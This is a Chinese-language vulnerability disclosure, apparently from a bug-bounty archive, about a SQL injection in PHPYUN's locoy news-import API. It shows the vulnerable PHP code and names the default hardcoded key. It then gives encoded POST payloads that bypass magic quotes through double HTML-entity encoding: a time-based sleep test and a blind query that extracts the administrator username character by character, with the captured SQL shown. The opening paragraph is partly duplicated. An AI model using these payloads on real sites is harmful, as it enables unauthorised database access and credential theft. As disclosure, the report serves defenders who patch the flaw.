### 简要描述： PHPYUN无视GPC(可注入全站信息) 180个字符的注入，等于没有限制，什么都能注入出来 ### 详细说明： 首先我们看这个文件： api/locoy/model/news.class.php: ``` class news_controller extends common{ function addnews_action(){//新闻添加 include("locoy_config.php"); if($locoyinfo['locoy_online']!=1){ echo 4;die; } if($locoyinfo['locoy_key']!=trim($_GET['key'])){ echo 5;die; } if(!$_POST['title'] || !$_POST['content'] || !$_POST['nid']){ echo 2;die; } $row=$this->obj->DB_select_once("news_base","`title`='".trim($_POST['title'])."' and `nid`='".$_POST['nid']."'"); if(is_array($row)){ echo 3;die; } $content=$_POST['content']; $value=""; $value.="`title`='".trim($_POST['title'])."',"; $value.="`nid`='".$_POST['nid']."',"; $value.="`did`='0',"; $value.="`author`='".$_POST['author']."',"; $description=mb_substr(strip_tags(html_entity_decode($content,ENT_NOQUOTES,"GB2312")),0,180,"gbk"); $description=$_POST['description']?$_POST['description']:$description; $description=str_replace(array(' ',"\n","\r","\r\n"," "),array(''),$description);...
### 简要描述： PHPYUN无视GPC(可注入全站信息) 180个字符的注入，等于没有限制，什么都能注入出来 ### 详细说明： 首先我们看这个文件： api/locoy/model/news.class.php: ``` class news_controller extends common{ function addnews_action(){//新闻添加 include("locoy_config.php"); if($locoyinfo['locoy_online']!=1){ echo 4;die; } if($locoyinfo['locoy_key']!=trim($_GET['key'])){ echo 5;die; } if(!$_POST['title'] || !$_POST['content'] || !$_POST['nid']){ echo 2;die; } $row=$this->obj->DB_select_once("news_base","`title`='".trim($_POST['title'])."' and `nid`='".$_POST['nid']."'"); if(is_array($row)){ echo 3;die; } $content=$_POST['content']; $value=""; $value.="`title`='".trim($_POST['title'])."',"; $value.="`nid`='".$_POST['nid']."',"; $value.="`did`='0',"; $value.="`author`='".$_POST['author']."',"; $description=mb_substr(strip_tags(html_entity_decode($content,ENT_NOQUOTES,"GB2312")),0,180,"gbk"); $description=$_POST['description']?$_POST['description']:$description; $description=str_replace(array(' ',"\n","\r","\r\n"," "),array(''),$description); $value.="`description`='".$description."',"; $value.="`source`='".$_POST['source']."'"; if($_POST['ctime']){ $value.=",`datetime`='".strtotime($_POST['ctime'])."'"; }else{ $value.=",`datetime`='".time()."'"; } if($_POST['hits']){ $value.=",`hits`='".trim($_POST['hits'])."'"; }else{ $row=explode('-',$locoyinfo['locoy_rand']); if(is_array($row)){ $rand=rand(trim($row[0]),trim($row[1])); }else{ $rand=!trim($row)?0:$row; } $value.=",`hits`='".$rand."'"; } if($_POST['sort']){ $value.=",`sort`='".trim($_POST['sort'])."'"; }else{ $row=explode('-',$locoyinfo['locoy_sort']); if(is_array($row)){ $rand=rand(trim($row[0]),trim($row[1])); }else{ $rand=!trim($row)?0:$row; } $value.=",`sort`='".$rand."'"; } if($_POST['newsphoto']){ $value.=",`newsphoto`='".trim($_POST['newsphoto'])."'"; } if($_POST['s_thumb']){ $value.=",`s_thumb`='".trim($_POST['s_thumb'])."'"; } if(!$_POST['keyword'] && $locoyinfo['locoy_keyword']==1){ require(LIB_PATH."lib_splitword_class.php"); $sp = new SplitWord(); $keywordarr=$sp->getkeyword(strip_tags(html_entity_decode($content))); $value.=",`keyword`='".strip_tags(@implode(",",$keywordarr))."'"; }elseif($_POST['keyword']){ $value.=",`keyword`='".str_replace("，",",",$_POST['keyword'])."'"; } $new_base = $this->obj->DB_insert_once("news_base",$value); ``` 这个里面有几个条件要说明一下： 1.$locoyinfo['locoy_key']!=trim($_GET['key']) 我们搜索一下： locoy_config.php里面 默认安装的话，就是 $locoyinfo=array("locoy_online"=>"1","locoy_name"=>"yun_","locoy_pwd"=>"12345678","locoy_key"=>"phpyun","co 找来找去都没有发现设置更改这个配置的地方，在后台的添加新闻的地方也没有找到，不管这个配置是硬编码的还是怎么样，反正是默认配置 条件2： $row=$this->obj->DB_select_once("news_base","`title`='".trim($_POST['title'])."' and `nid`='".$_POST['nid']."'"); if(is_array($row)){ echo 3;die; } 这个语句必须查不到，也就是说数据库里面不存在这个新闻 条件3 if(!$_POST['keyword'] && $locoyinfo['locoy_keyword']==1){ 这个逻辑不要进来，不然就会报错 然后我们看看问题点： ``` $description=mb_substr(strip_tags(html_entity_decode($content,ENT_NOQUOTES,"GB2312")),0,180,"gbk"); $description=$_POST['description']?$_POST['description']:$description; $description=str_replace(array(' ',"\n","\r","\r\n"," "),array(''),$description); ``` 发现了没有我们只要对数据进行实体编码即可 所有的空格都会被去掉，那么我们比如sleep(5)可以写成slee p(5) 解码后有180个字符的范围，那么我们就可以什么都能注射出来 url: http://localhost/phpyun40https://images.seebug.org/upload/api/locoy/index.php?m=news&c=addnews&key=phpyun postdata： title=xxxx&content=1'*slee p(5)#&nid=567&keyword=xxxxxx 编码一层： title=xxxx&content=1'*slee p(5)#&nid=567&keyword=xxxxxx 再编码一层： title=xxxx&content=%26%2349%3B%26%2339%3B%26%2342%3B%26%23115%3B%26%23108%3B%26%23101%3B%26%23101%3B%26%2332%3B%26%23112%3B%26%2340%3B%26%2353%3B%26%2341%3B%26%2335%3B&nid=567&keyword=xxxxxx 这样发送url: http://localhost/phpyun40https://images.seebug.org/upload/api/locoy/index.php?m=news&c=addnews&key=phpyun postdata: title=xxxx&content=%26%2349%3B%26%2339%3B%26%2342%3B%26%23115%3B%26%23108%3B%26%23101%3B%26%23101%3B%26%2332%3B%26%23112%3B%26%2340%3B%26%2353%3B%26%2341%3B%26%2335%3B&nid=567&keyword=xxxxxx 后台抓取sql为： INSERT INTO `phpyun_news_base` SET `title`='xxxx',`nid`='567',`did`='0',`author`='',`description`='1'*sleep(5)#',`source`='',`datetime`='1437052963',`hits`='',`sort`='',`keyword`='xxxxxx' [<img src="https://images.seebug.org/upload/201507/16212155ccf0db6ff493d5af509068213bc9e162.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/16212155ccf0db6ff493d5af509068213bc9e162.png) 后续进行猜测的，180个字符随便来，记得里面的nid每次请求一次都要变一次 在所有的关键字里面都加一个空格 postdata: title=xxxx&content=%26%2349%3B%26%2339%3B%26%2342%3B%26%23105%3B%26%2332%3B%26%23102%3B%26%2340%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23105%3B%26%23105%3B%26%2340%3B%26%23115%3B%26%23117%3B%26%2398%3B%26%23115%3B%26%23116%3B%26%23114%3B%26%2340%3B%26%2340%3B%26%23115%3B%26%23101%3B%26%23108%3B%26%23101%3B%26%2332%3B%26%2399%3B%26%23116%3B%26%2396%3B%26%23117%3B%26%23115%3B%26%23101%3B%26%23114%3B%26%23110%3B%26%2397%3B%26%23109%3B%26%23101%3B%26%2396%3B%26%23102%3B%26%23114%3B%26%2332%3B%26%23111%3B%26%23109%3B%26%2396%3B%26%23112%3B%26%23104%3B%26%23112%3B%26%23121%3B%26%23117%3B%26%23110%3B%26%2395%3B%26%2397%3B%26%23100%3B%26%23109%3B%26%23105%3B%26%23110%3B%26%2395%3B%26%23117%3B%26%23115%3B%26%23101%3B%26%23114%3B%26%2396%3B%26%2341%3B%26%2344%3B%26%2349%3B%26%2344%3B%26%2349%3B%26%2341%3B%26%2341%3B%26%2361%3B%26%2357%3B%26%2355%3B%26%2344%3B%26%23115%3B%26%23108%3B%26%23101%3B%26%23101%3B%26%2332%3B%26%23112%3B%26%2340%3B%26%2353%3B%26%2341%3B%26%2344%3B%26%2349%3B%26%2341%3B%26%2335%3B&nid=5671&keyword=xxxxxx 抓取sql为： INSERT INTO `phpyun_news_base` SET `title`='xxxx',`nid`='5671',`did`='0',`author`='',`description`='1'*if(ascii(substr((select`username`from`phpyun_admin_user`),1,1))=97,sleep(5),1)#',`source`='',`datetime`='1437053421',`hits`='',`sort`='',`keyword`='xxxxxx' ### 漏洞证明：
